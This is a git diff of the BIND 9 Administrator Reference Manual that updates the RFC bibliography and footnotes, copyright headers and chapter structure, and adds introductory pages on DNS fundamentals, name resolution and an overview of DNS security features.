-:rfc:`3152` - R. Bush. *Delegation of IP6.ARPA.* August 2001.
-
-:rfc:`3445` - D. Massey and S. Rose. *Limiting the Scope of the KEY Resource Record
-(RR).* December 2002.
+:rfc:`1123` - R. Braden. *Requirements for Internet Hosts - Application and
+Support.* October 1989.
 
-:rfc:`3490` - P. Faltstrom, P. Hoffman, and A. Costello. *Internationalizing Domain Names
-in Applications (IDNA).* March 2003. [19]
+:rfc:`1535` - E. Gavron. *A Security Problem and Proposed Correction With Widely
+Deployed DNS Software.* October 1993.
 
-:rfc:`3491` - P. Hoffman and M. Blanchet. *Nameprep: A Stringprep Profile for
-Internationalized Domain Names (IDN).* March 2003. [19]
+:rfc:`1536` - A. Kumar, J. Postel, C. Neuman, P. Danzig, and S. Miller. *Common DNS
+Implementation Errors and Suggested Fixes.* October 1993.
 
-:rfc:`3655` - B. Wellington and O. Gudmundsson. *Redefinition of DNS Authenticated
-Data (AD) Bit.* November 2003.
+:rfc:`1912` - D. Barr. *Common DNS Operational and Configuration Errors.* February
+1996.
 
-:rfc:`3658` - O. Gudmundsson. *Delegation Signer (DS) Resource Record (RR).*
-December 2003.
+:rfc:`2874` - M. Crawford and C. Huitema. *DNS Extensions to Support IPv6 Address
+Aggregation and Renumbering.* July 2000. [#rfc2874]_
 
-:rfc:`3755` - S. Weiler. *Legacy Resolver Compatibility for Delegation Signer
-(DS).* May 2004.
+:rfc:`3833` - D. Atkins and R. Austein. *Threat Analysis of the Domain Name System
+(DNS).* August 2004.
 
-:rfc:`3757` - O. Kolkman, J. Schlyter, and E. Lewis. *Domain Name System KEY (DNSKEY)
-Resource Record (RR) Secure Entry Point (SEP) Flag.* May 2004.
+:rfc:`4074` - Y. Morishita and T. Jinmei. *Common Misbehavior Against DNS Queries for
+IPv6 Addresses.* June 2005.
 
-:rfc:`3845` - J. Schlyter. *DNS Security (DNSSEC) NextSECure (NSEC) RDATA Format.*
-August 2004.
+:rfc:`4431` - M. Andrews and S. Weiler. *The DNSSEC Lookaside Validation
+(DLV) DNS Resource Record.* February 2006. [#rfc4431]_
 
-:rfc:`4294` - J. Loughney, Ed. *IPv6 Node Requirements.* [20]
+:rfc:`4892` - S. Woolf and D. Conrad. *Requirements for a Mechanism
+Identifying a Name Server Instance.* June 2007.
 
-:rfc:`4408` - M. Wong and W. Schlitt. *Sender Policy Framework (SPF) for
-Authorizing Use of Domains in E-Mail, Version 1.* April 2006.
+:rfc:`6781` - O. Kolkman, W. Mekking, and R. Gieben. *DNSSEC Operational
+Practices, Version 2.* December 2012.
 
-:rfc:`5966` - R. Bellis. *DNS Transport Over TCP - Implementation
-Requirements.* August 2010.
+:rfc:`7129` - R. Gieben and W. Mekking. *Authenticated Denial of Existence
+in the DNS.* February 2014.
 
-:rfc:`6844` - P. Hallam-Baker and R. Stradling. *DNS Certification Authority
-Authorization (CAA) Resource Record.* January 2013.
+:rfc:`8749` - W. Mekking and D. Mahoney. *Moving DNSSEC Lookaside Validation
+(DLV) to Historic Status.* March 2020.
 
-:rfc:`6944` - S. Rose. *Applicability Statement: DNS Security (DNSSEC) DNSKEY
-Algorithm Implementation Status.* April 2013.
+Notes
+~~~~~
 
-RFCs No Longer Supported in BIND 9
-----------------------------------
+.. [#rfc1035_1] Queries to zones that have failed to load return SERVFAIL rather
+   than a non-authoritative response. This is considered a feature.
 
-:rfc:`2536` - D. Eastlake, 3rd. *DSA KEYs and SIGs in the Domain Name System
-(DNS).* March 1999.
+.. [#rfc1035_2] CLASS ANY queries are not supported. This is considered a
+   feature.
 
-Notes
-~~~~~
+.. [#rfc2931] When receiving a query signed with a SIG(0), the server is
+   only able to verify the signature if it has the key in its local
+   authoritative data; it cannot do recursion or validation to
+   retrieve unknown keys.
 
-[1] Queries to zones that have failed to load return SERVFAIL rather
-than a non-authoritative response. This is considered a feature.
+.. [#rfc2874] Compliance is with loading and serving of A6 records only.
+   A6 records were moved to the experimental category by :rfc:`3363`.
 
-[2] CLASS ANY queries are not supported. This is considered a
-feature.
+.. [#rfc4431] Compliance is with loading and serving of DLV records only.
+   DLV records were moved to the historic category by :rfc:`8749`.
 
-[3] When receiving a query signed with a SIG(0), the server is
-only able to verify the signature if it has the key in its local
-authoritative data; it cannot do recursion or validation to
-retrieve unknown keys.
+.. [#rfc4470] Minimally Covering NSEC records are accepted but not generated.
 
-[4] Compliance is with loading and serving of A6 records only. A6 records were moved
-to the experimental category by :rfc:`3363`.
+.. [#rfc4955] BIND 9 interoperates with correctly designed experiments.
 
-[5] Minimally covering NSEC records are accepted but not generated.
+.. [#rfc5452] :iscman:`named` only uses ports to extend the ID space; addresses are not
+   used.
 
-[6] BIND 9 interoperates with correctly designed experiments.
+.. [#rfc6147] Section 5.5 does not match reality. :iscman:`named` uses the presence
+   of DO=1 to detect if validation may be occurring. CD has no bearing
+   on whether validation occurs.
 
-[7] ``named`` only uses ports to extend the ID space; addresses are not
-used.
+.. [#rfc6605] Compliance is conditional on the OpenSSL library being linked against
+   a supporting ECDSA.
 
-[8] Section 5.5 does not match reality. ``named`` uses the presence
-of DO=1 to detect if validation may be occurring. CD has no bearing
-on whether validation occurs.
+.. [#rfc6725] RSAMD5 support has been removed. See :rfc:`8624`.
 
-[9] Compliance is conditional on the OpenSSL library being linked against
-a supporting ECDSA.
+.. [#rfc6840] Section 5.9 - Always set CD=1 on queries. This is *not* done, as
+   it prevents DNSSEC from working correctly through another recursive server.
 
-[10] RSAMD5 support has been removed. See :rfc:`6944`.
+   When talking to a recursive server, the best algorithm is to send
+   CD=0 and then send CD=1 iff SERVFAIL is returned, in case the recursive
+   server has a bad clock and/or bad trust anchor. Alternatively, one
+   can send CD=1 then CD=0 on validation failure, in case the recursive
+   server is under attack or there is stale/bogus authoritative data.
 
-[11] Section 5.9 - Always set CD=1 on queries. This is *not* done, as
-it prevents DNSSEC from working correctly through another recursive server.
+.. [#rfc7344] Updating of parent zones is not yet implemented.
 
-When talking to a recursive server, the best algorithm is to send
-CD=0 and then send CD=1 iff SERVFAIL is returned, in case the recursive
-server has a bad clock and/or bad trust anchor. Alternatively, one
-can send CD=1 then CD=0 on validation failure, in case the recursive
-server is under attack or there is stale/bogus authoritative data.
+.. [#rfc7830] :iscman:`named` does not currently encrypt DNS requests, so the PAD option
+   is accepted but not returned in responses.
 
-[12] Updating of parent zones is not yet implemented.
+.. [#rfc3363] Section 4 is ignored.
 
-[13] ``named`` does not currently encrypt DNS requests, so the PAD option
-is accepted but not returned in responses.
+.. [#rfc2606] This does not apply to DNS server implementations.
 
-[14] Section 4 is ignored.
+.. [#rfc1521] Only the Base 64 encoding specification is supported.
 
-[15] This does not apply to DNS server implementations.
+.. [#idna] BIND 9 requires ``--with-libidn2`` to enable entry of IDN labels within
+   dig, host, and nslookup at compile time.  ACE labels are supported
+   everywhere with or without ``--with-libidn2``.
 
-[16] Only the Base 64 encoding specification is supported.
+.. [#rfc4294] Section 5.1 - DNAME records are fully supported.
 
-[17] Wildcard records are not supported in DNSSEC secure zones.
+.. [#rfc7050] RFC 7050 is updated by RFC 8880.
 
-[18] Servers authoritative for secure zones being resolved by BIND
-9 must support EDNS0 (:rfc:`2671`), and must return all relevant SIGs
-and NXTs in responses, rather than relying on the resolving server
-to perform separate queries for missing SIGs and NXTs.
+.. [#noencryptedfwd] Forwarding DNS queries over encrypted transports is not
+   supported yet.
 
-[19] BIND 9 requires ``--with-idn`` to enable entry of IDN labels within dig,
-host, and nslookup at compile time.  ACE labels are supported
-everywhere with or without ``--with-idn``.
+.. [#rfc8078] Updating of parent zones is not yet implemented.
 
-[20] Section 5.1 - DNAME records are fully supported.
+.. [#rfc9103] Strict TLS and Mutual TLS authentication mechanisms are
+   not supported yet.
 
 .. _internet_drafts:
 
@@ -603,11 +454,3 @@ archival, and they should not be quoted or cited in any formal documents
 unless accompanied by the disclaimer that they are "works in progress."
 IDs have a lifespan of six months, after which they are deleted unless
 updated by their authors.
-
-.. _more_about_bind:
-
-Other Documents About BIND
-~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Paul Albitz and Cricket Liu. *DNS and BIND.* Copyright 1998 Sebastopol, CA: O'Reilly and
-Associates.
diff --git a/doc/arm/history.rst b/doc/arm/history.rst
index b9275cc1ca..5049982c51 100644
--- a/doc/arm/history.rst
+++ b/doc/arm/history.rst
@@ -1,12 +1,13 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. History:
 
diff --git a/doc/arm/index.rst b/doc/arm/index.rst
index da22e7fa8f..5232075998 100644
--- a/doc/arm/index.rst
+++ b/doc/arm/index.rst
@@ -1,12 +1,16 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. meta::
+   :google-site-verification: 0-DMrB_qDynsvXBKJhpsS5m8l5oVea8Qe2ojkudjtCY
 
 *************************************
 BIND 9 Administrator Reference Manual
@@ -16,14 +20,17 @@ BIND 9 Administrator Reference Manual
    :numbered:
    :maxdepth: 2
 
-   introduction
-   requirements
-   configuration
+   chapter1
+   chapter2
+   chapter3
+   chapter4
+   chapter5
+   chapter6
+   chapter7
    reference
-   advanced
-   security
-   troubleshooting
-   
+   chapter9
+   chapter10
+
 .. toctree::
    :caption: Appendices
    :name: appendices
diff --git a/doc/arm/intro-dns-bind.inc.rst b/doc/arm/intro-dns-bind.inc.rst
new file mode 100644
index 0000000000..58b0d2952c
--- /dev/null
+++ b/doc/arm/intro-dns-bind.inc.rst
@@ -0,0 +1,197 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _dns_overview:
+
+The Domain Name System (DNS)
+----------------------------
+
+This is a brief description of the functionality and organization of the Domain Name System (DNS).
+It is provided to familiarize users with the concepts involved, the (often confusing) terminology
+used, and how all the parts fit together to form an operational system.
+
+All network systems operate with network addresses, such as IPv4 and IPv6. The vast majority of
+humans find it easier to work with names rather than seemingly endless strings of network address digits. The earliest ARPANET systems
+(from which the Internet evolved) mapped names to addresses using a **hosts** file that was distributed to all entities
+whenever changes occurred. Operationally, such a system became rapidly unsustainable once there were more
+than 100 networked entities, which led to the specification and implementation of the Domain Name System that we use today.
+
+.. _dns_fundamentals:
+
+DNS Fundamentals
+~~~~~~~~~~~~~~~~
+
+The DNS naming system is organized as a tree structure comprised of multiple levels and
+thus it naturally creates a distributed system. Each node
+in the tree is given a label which defines its **Domain** (its area or zone) of **Authority**.
+The topmost node in the tree is the **Root Domain**; it delegates to **Domains** at the next level which are generically
+known as the **Top-Level Domains (TLDs)**. They in turn delegate to **Second-Level Domains (SLDs)**, and so on.
+The Top-Level Domains (TLDs) include a special group of TLDs called the **Country Code Top-Level Domains (ccTLDs)**,
+in which every country is assigned a unique two-character country code from ISO 3166 as its domain.
+
+.. Note:: The Domain Name System is controlled by ICANN (https://www.icann.org) (a 501c non-profit entity); their current policy
+	is that any new TLD, consisting of three or more characters, may be proposed by any group of commercial sponsors and
+	if it meets ICANN's criteria will be added to the TLDs.
+
+The concept of delegation and authority flows down the DNS tree (the DNS hierarchy) as shown:
+
+.. figure:: dns-tree.png
+   :align: center
+
+   Delegation and Authority in the DNS Name Space
+
+A domain is the label of a node in the tree. A **domain name** uniquely identifies any node in the DNS tree and is written, left to right,
+by combining all the domain labels (each of which are unique within their parent's zone or domain of authority), with a dot
+separating each component, up to the root domain. In the above diagram the following are all domain names:
+
+.. code-block::
+
+	example.com
+	b.com
+	ac.uk
+	us
+	org
+
+The root has a unique label of "." (dot), which is normally omitted when it is written as
+a domain name, but when it is written as a **Fully Qualified Domain Name (FQDN)** the dot must be present. Thus:
+
+.. code-block::
+
+	example.com     # domain name
+	example.com.    # FQDN
+
+Authority and Delegation
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+Each domain (node) has been **delegated** the authority from its parent domain. The delegated authority includes
+specific responsibilities to ensure that every domain it delegates has a unique name or label within its zone or domain of authority, and
+that it maintains an **authoritative** list of its delegated domains. The responsibilities further include an operational requirement to
+operate two (or more) name servers (which may be contracted to a third party) which will contain the authoritative data
+for all the domain labels within its zone of authority in a :ref:`zone file<zone_file>`. Again, the
+tree structure ensures that the DNS name space is naturally distributed.
+
+The following diagram illustrates that **Authoritative Name Servers** exist for every level and every domain in the DNS name space:
+
+.. figure:: dns-servers.png
+   :align: center
+
+   Authoritative Name Servers in the DNS Name Space
+
+.. Note:: The difference between a domain and a zone can appear confusing. Practically, the terms are generally used synonymously in the DNS.
+	If, however, you are into directed graphs and tree structure theory or similar exotica, a zone can be considered as
+	an arc through any node (or domain) with the domain at its apex. The zone therefore encompasses all the name space below the domain.
+	This can, however, lead to the concept of subzones and these were indeed defined in the original DNS specifications.
+	Thankfully the term subzone has been lost in the mists of time.
+
+.. _root_servers:
+
+Root Servers
+~~~~~~~~~~~~
+
+The **root servers** are a critical part of the DNS authoritative infrastructure. There are 13 root servers (*a.root-servers.net*
+to *m.root-servers.net*). The number 13 is historically based on the maximum amount of name and IPv4 data
+that could be packed into a 512-byte UDP message, and not a perverse affinity for a number that certain
+cultures treat as unlucky. The 512-byte UDP data limit
+is no longer a limiting factor and all root servers now support both IPv4 and IPv6. In addition, almost all the
+root servers use **anycast**, with well over
+300 instances of the root servers now providing service worldwide (see further information at https://www.root-servers.org).
+The root servers are the starting point for all **name resolution** within the DNS.
+
+Name Resolution
+~~~~~~~~~~~~~~~
+
+So far all the emphasis has been on how the DNS stores its authoritative domain (zone) data. End-user systems
+use names (an email address or a web address) and need to access this authoritative data to obtain an IP address, which
+they use to contact the required network resources such as web, FTP, or mail servers. The process of converting a
+domain name to a result (typically an IP address, though other types of data may be obtained) is generically called **name resolution**, and is handled by
+**resolvers** (also known as **caching name servers** and many other terms). The following diagram shows the typical name resolution process:
+
+.. figure:: name-resolution.png
+   :align: center
+
+   Authoritative Name Servers and Name Resolution
+
+An end-user application, such as a browser (1), when needing to resolve a name such as **www.example.com**, makes an
+internal system call to a minimal function resolution entity called a **stub resolver** (2). The stub resolver (using stored
+IP addresses) contacts a resolver (a caching name server or full-service resolver) (3), which in turn contacts all the necessary
+authoritative name servers (4, 5, and 6) to provide the answer that it then returns to the user (2, 1). To improve performance,
+all resolvers (including most stub resolvers) cache (store) their results such that a subsequent request for the same data
+is taken from the resolver's cache, removing the need to repeat the name resolution process and use time-consuming resources. All communication between
+the stub resolver, the resolver, and the authoritative name servers uses the DNS protocol's query and response message pair.
+
+.. _referral:
+
+.. _recursive_query:
+
+.. _iterative_query:
+
+DNS Protocol and Queries
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+DNS **queries** use the UDP protocol over the reserved port 53 (but both TCP and TLS can optionally be used in some parts of the network).
+
+The following diagram shows the name resolution process expressed in terms of DNS queries and responses.
+
+.. figure:: recursive-query.png
+   :align: center
+
+   Resolvers and Queries
+
+The stub resolver sends a **recursive query** message (with the required domain name in the QUESTION section of the query) (2) to the resolver.
+A **recursive** query simply requests the resolver to find the complete answer. A stub resolver only ever sends recursive queries
+and always needs the service of a resolver. The response to a recursive query can be:
+
+1. The answer to the user's QUESTION in the ANSWER section of the query response.
+
+2. An error (such as NXDOMAIN - the name does not exist).
+
+The resolver, on receipt of the user's recursive query, either responds immediately, if the ANSWER is in its cache, or accesses
+the DNS hierarchy to obtain the answer. The resolver always starts with root servers and sends an **iterative query** (4, 5, and 6). The
+response to an iterative query can be:
+
+1. The answer to the resolver's QUESTION in the ANSWER section of the query response.
+
+2. A **referral** (indicated by an empty ANSWER section but data in the AUTHORITY section,
+and typically IP addresses in the ADDITIONAL section of the response).
+
+3. An error (such as NXDOMAIN - the name does not exist).
+
+If the response is either an answer or an error, these are returned immediately to the user (and cached for future use). If the response
+is a referral, the resolver needs to take additional action to respond to the user's recursive query.
+
+A referral, in essence, indicates that the queried server does not know the answer (the ANSWER section of the response is empty), but it
+refers the resolver to the authoritative name servers (in the AUTHORITY section of the response) which it knows about in the
+domain name supplied in the QUESTION section of the query. Thus, if the QUESTION is for the domain name **www.example.com**, the root
+server to which the iterative query was sent adds a list of the **.com authoritative name servers** in the AUTHORITY section.
+The resolver selects one of the servers from the AUTHORITY section and sends an
+iterative query to it. Similarly, the .com authoritative name servers send a referral containing a list of the **example.com** authoritative name servers.
+This process continues down the DNS hierarchy until either an ANSWER or an error is received, at which point the user's original recursive query
+is sent a response.
+
+.. Note:: The DNS hierarchy is always accessed starting at the root servers and working down; there is no concept of "up" in the DNS hierarchy. Clearly,
+	if the resolver has already cached the list of .com authoritative name servers and the user's recursive query QUESTION contains a domain name
+	ending in .com, it can omit access to the root servers. However, that is simply an artifact (in this case a performance benefit) of
+	caching and does not change the concept of top-down access within the DNS hierarchy.
+
+The insatiably curious may find reading :rfc:`1034` and :rfc:`1035` a useful starting point for further information.
+
+DNS and BIND 9
+~~~~~~~~~~~~~~
+
+BIND 9 is a complete implementation of the DNS protocol. BIND 9 can be configured (using its ``named.conf`` file) as
+an authoritative name server, a resolver, and, on supported hosts, a stub resolver. While large operators
+usually dedicate DNS servers to a single function per system, smaller operators will find that
+BIND 9's flexible configuration features support multiple functions, such as a single DNS server acting
+as both an authoritative name server and a resolver.
+
+Example configurations of basic :ref:`authoritative name servers<config_auth_samples>` and
+:ref:`resolvers and forwarding resolvers<config_resolver_samples>`, as
+well as :ref:`advanced configurations<Advanced>` and :ref:`secure configurations<Security>`, are provided.
diff --git a/doc/arm/intro-security.inc.rst b/doc/arm/intro-security.inc.rst
new file mode 100644
index 0000000000..87db9701da
--- /dev/null
+++ b/doc/arm/intro-security.inc.rst
@@ -0,0 +1,76 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _intro_dns_security:
+
+DNS Security Overview
+---------------------
+
+DNS is a communications protocol. All communications protocols are potentially
+vulnerable to both subversion and eavesdropping. It is important for
+users to audit their exposure to the various threats within their operational environment and implement the
+appropriate solutions. BIND 9, a specific implementation of the DNS protocol,
+provides an extensive set of security features. The purpose of this section
+is to help users to select from the range of available security features those
+required for their specific user environment.
+
+A generic DNS network is shown below, followed by text descriptions. In general,
+the further one goes from the left-hand side of the diagram, the more complex
+the implementation.
+
+.. Note:: Historically, DNS data was regarded as public and security was
+	concerned, primarily, with ensuring the integrity of DNS data. DNS data privacy
+	is increasingly regarded as an important dimension of overall security, specifically :ref:`DNS over TLS<dns_over_tls>`.
+
+.. figure:: dns-security-overview.png
+   :align: center
+
+   BIND 9 Security Overview
+
+The following notes refer to the numbered elements in the above diagram.
+
+1. A variety of system administration techniques and methods may be used to secure
+BIND 9's local environment, including :ref:`file permissions <file_permissions>`, running
+BIND 9 in a :ref:`jail <chroot_and_setuid>`, and the use of :ref:`Access_Control_Lists`.
+
+2. The remote name daemon control (:ref:`rndc<ops_rndc>`) program allows the system
+administrator to control the operation of a name server. The majority of BIND 9 packages
+or ports come preconfigured with local (loopback address) security preconfigured.
+If ``rndc`` is being invoked from a remote host, further configuration is required.
+The ``nsupdate`` tool uses **Dynamic DNS (DDNS)** features and allows users to dynamically
+change the contents of the zone file(s). ``nsupdate`` access and security may be controlled
+using ``named.conf`` :ref:`statements or using TSIG or SIG(0) cryptographic methods <dynamic_update_security>`.
+Clearly, if the remote hosts used for either ``rndc`` or DDNS lie within a network entirely
+under the user's control, the security threat may be regarded as non-existent. Any implementation requirements,
+therefore, depend on the site's security policy.
+
+3. Zone transfer from a **primary** to one or more **secondary** authoritative name servers across a
+public network carries risk. The zone transfer may be secured using
+``named.conf`` :ref:`statements, TSIG cryptographic methods or TLS<sec_file_transfer>`.
+Clearly, if the secondary authoritative name server(s) all lie within a network entirely
+under the user's control, the security threat may be regarded as non-existent. Any implementation requirements
+again depend on the site's security policy.
+
+4. If the operator of an authoritative name server (primary or secondary) wishes to ensure that
+DNS responses to user-initiated queries about the zone(s) for which they are responsible can only
+have come from their server, that the data received by the user is the same as that sent, and that
+non-existent names are genuine, then :ref:`DNSSEC` is the only solution. DNSSEC requires configuration
+and operational changes both to the authoritative name servers and to any resolver which accesses
+those servers.
+
+5. The typical Internet-connected end-user device (PCs, laptops, and even mobile phones) either has
+a stub resolver or operates via a DNS proxy. A stub resolver requires the services of an area
+or full-service resolver to completely answer user queries. Stub resolvers on the majority of PCs and laptops
+typically have a caching capability to increase performance. At this time there are no standard stub resolvers or proxy
+DNS tools that implement DNSSEC. BIND 9 may be configured to provide such capability on supported Linux or Unix platforms.
+:ref:`DNS over TLS <dns_over_tls>` may be configured to verify the integrity of the data between the stub resolver and
+area (or full-service) resolver. However, unless the resolver and the Authoritative Name Server implements DNSSEC, end-to-end integrity (from
+authoritative name server to stub resolver) cannot be guaranteed.
diff --git a/doc/arm/introduction.inc.rst b/doc/arm/introduction.inc.rst
new file mode 100644
index 0000000000..42d7110e34
--- /dev/null
+++ b/doc/arm/introduction.inc.rst
@@ -0,0 +1,100 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _introduction:
+
+Introduction to DNS and BIND 9
+==============================
+
+The Internet Domain Name System (DNS) consists of:
+
+- the syntax to specify the names of entities in the Internet in a hierarchical manner,
+- the rules used for delegating authority over names, and
+- the system implementation that actually maps names to Internet addresses.
+
+DNS data is maintained in a group of distributed hierarchical databases.
+
+.. _doc_scope:
+
+Scope of Document
+-----------------
+
+The Berkeley Internet Name Domain (BIND) software implements a domain name server
+for a number of operating systems. This document provides basic
+information about the installation and maintenance of Internet Systems
+Consortium (ISC) BIND version 9 software package for system
+administrators.
+
+This manual covers BIND version |release|.
+
+.. _organization:
+
+Organization of This Document
+-----------------------------
+
+:ref:`introduction` introduces the basic DNS and BIND concepts. Some tutorial material on
+:ref:`dns_overview` is presented for those unfamiliar with DNS. A
+:ref:`intro_dns_security` is provided to allow BIND operators to implement
+appropriate security for their operational environment.
+
+:ref:`requirements` describes the hardware and environment requirements for BIND 9
+and lists both the supported and unsupported platforms.
+
+:ref:`configuration` is intended as a quickstart guide for newer users. Sample files
+are included for :ref:`config_auth_samples` (both :ref:`primary<sample_primary>` and
+:ref:`secondary<sample_secondary>`), as well as a simple :ref:`config_resolver_samples` and
+a :ref:`sample_forwarding`. Some reference material on the :ref:`Zone File<zone_file>` is included.
+
+:ref:`ns_operations` covers basic BIND 9 software and DNS operations, including some
+useful tools, Unix signals, and plugins.
+
+:ref:`advanced` builds on the configurations of :ref:`configuration`, adding
+functions and features the system administrator may need.
+
+:ref:`security` covers most aspects of BIND 9 security, including file permissions,
+running BIND 9 in a "jail," and securing file transfers and dynamic updates.
+
+:ref:`dnssec` describes the theory and practice of cryptographic authentication of DNS
+information. The :ref:`dnssec_guide` is a practical guide to implementing DNSSEC.
+
+:ref:`Reference` gives exhaustive descriptions of all supported blocks, statements,
+and grammars used in BIND 9's ``named.conf`` configuration file.
+
+:ref:`troubleshooting` provides information on identifying and solving BIND 9 and DNS
+problems. Information about bug-reporting procedures is also provided.
+
+:ref:`build_bind` is a definitive guide for those occasions where the user requires
+special options not provided in the standard Linux or Unix distributions.
+
+The **Appendices** contain useful reference information, such as a bibliography and historic
+information related to BIND and the Domain Name System, as well as the current *man*
+pages for all the published tools.
+
+.. _conventions:
+
+Conventions Used in This Document
+---------------------------------
+
+In this document, we generally use ``fixed-width`` text to indicate the
+following types of information:
+
+- pathnames
+- filenames
+- URLs
+- hostnames
+- mailing list names
+- new terms or concepts
+- literal user input
+- program output
+- keywords
+- variables
+
+Text in "quotes," **bold text**, or *italics* is also used for emphasis or clarity.
diff --git a/doc/arm/introduction.rst b/doc/arm/introduction.rst
deleted file mode 100644
index 3020ad15ce..0000000000
--- a/doc/arm/introduction.rst
+++ /dev/null
@@ -1,310 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-.. _Introduction:
-
-Introduction
-============
-
-The Internet Domain Name System (DNS) consists of the syntax to specify
-the names of entities in the Internet in a hierarchical manner, the
-rules used for delegating authority over names, and the system
-implementation that actually maps names to Internet addresses. DNS data
-is maintained in a group of distributed hierarchical databases.
-
-.. _doc_scope:
-
-Scope of Document
------------------
-
-The Berkeley Internet Name Domain (BIND) implements a domain name server
-for a number of operating systems. This document provides basic
-information about the installation and care of the Internet Systems
-Consortium (ISC) BIND version 9 software package for system
-administrators.
-
-This manual covers BIND version |release|.
-
-.. _organization:
-
-Organization of This Document
------------------------------
-
-In this document, *Chapter 1* introduces the basic DNS and BIND
-concepts. *Chapter 2* describes resource requirements for running BIND
-in various environments. Information in *Chapter 3* is *task-oriented*
-in its presentation and is organized functionally, to aid in the process
-of installing the BIND 9 software. The task-oriented section is followed
-by *Chapter 4*, which is organized as a reference manual to aid in the ongoing
-maintenance of the software. *Chapter 5* contains more advanced concepts that
-the system administrator may need for implementing certain options. *Chapter 6*
-addresses security considerations, and *Chapter 7* contains troubleshooting help.
-The main body of the document is followed by several *appendices* which contain
-useful reference information, such as a *bibliography* and historic
-information related to BIND and the Domain Name System.
-
-.. _conventions:
-
-Conventions Used in This Document
----------------------------------
-
-In this document, we generally use ``Fixed Width`` text to indicate the
-following types of information:
-
-- pathnames
-- filenames
-- URLs
-- hostnames
-- mailing list names
-- new terms or concepts
-- literal user input
-- program output
-- keywords
-- variables
-
-Text in "quotes," **bold**, or *italics* is also used for emphasis or clarity.
-
-.. _dns_overview:
-
-The Domain Name System (DNS)
-----------------------------
-
-This document explains the installation and upkeep
-of the BIND (Berkeley Internet Name Domain) software package. We
-begin by reviewing the fundamentals of the Domain Name System (DNS) as
-they relate to BIND.
-
-.. _dns_fundamentals:
-
-DNS Fundamentals
-~~~~~~~~~~~~~~~~
-
-The Domain Name System (DNS) is a hierarchical, distributed database. It
-stores information for mapping Internet host names to IP addresses and
-vice versa, mail routing information, and other data used by Internet
-applications.
-
-Clients look up information in the DNS by calling a *resolver* library,
-which sends queries to one or more *name servers* and interprets the
-responses. The BIND 9 software distribution contains a name server,
-``named``, and a set of associated tools.
-
-.. _domain_names:
-
-Domains and Domain Names
-~~~~~~~~~~~~~~~~~~~~~~~~
-
-The data stored in the DNS is identified by *domain names* that are
-organized as a tree according to organizational or administrative
-boundaries. Each node of the tree, called a *domain*, is given a label.
-The domain name of the node is the concatenation of all the labels on
-the path from the node to the *root* node. This is represented in
-written form as a string of labels listed from right to left and
-separated by dots. A label need only be unique within its parent domain.
-
-For example, a domain name for a host at the company *Example, Inc.*
-could be ``ourhost.example.com``, where ``com`` is the top-level domain
-to which ``ourhost.example.com`` belongs, ``example`` is a subdomain of
-``com``, and ``ourhost`` is the name of the host.
-
-For administrative purposes, the name space is partitioned into areas
-called *zones*, each starting at a node and extending down to the "leaf"
-nodes or to nodes where other zones start. The data for each zone is
-stored in a *name server*, which answers queries about the zone using
-the *DNS protocol*.
-
-The data associated with each domain name is stored in the form of
-*resource records* (RRs). Some of the supported resource record types
-are described in :ref:`types_of_resource_records_and_when_to_use_them`.
-
-For more detailed information about the design of the DNS and the DNS
-protocol, please refer to the standards documents listed in :ref:`rfcs`.
-
-Zones
-~~~~~
-
-To properly operate a name server, it is important to understand the
-difference between a *zone* and a *domain*.
-
-As stated previously, a zone is a point of delegation in the DNS tree. A
-zone consists of those contiguous parts of the domain tree for which a
-name server has complete information and over which it has authority. It
-contains all domain names from a certain point downward in the domain
-tree except those which are delegated to other zones. A delegation point
-is marked by one or more *NS records* in the parent zone, which should
-be matched by equivalent NS records at the root of the delegated zone.
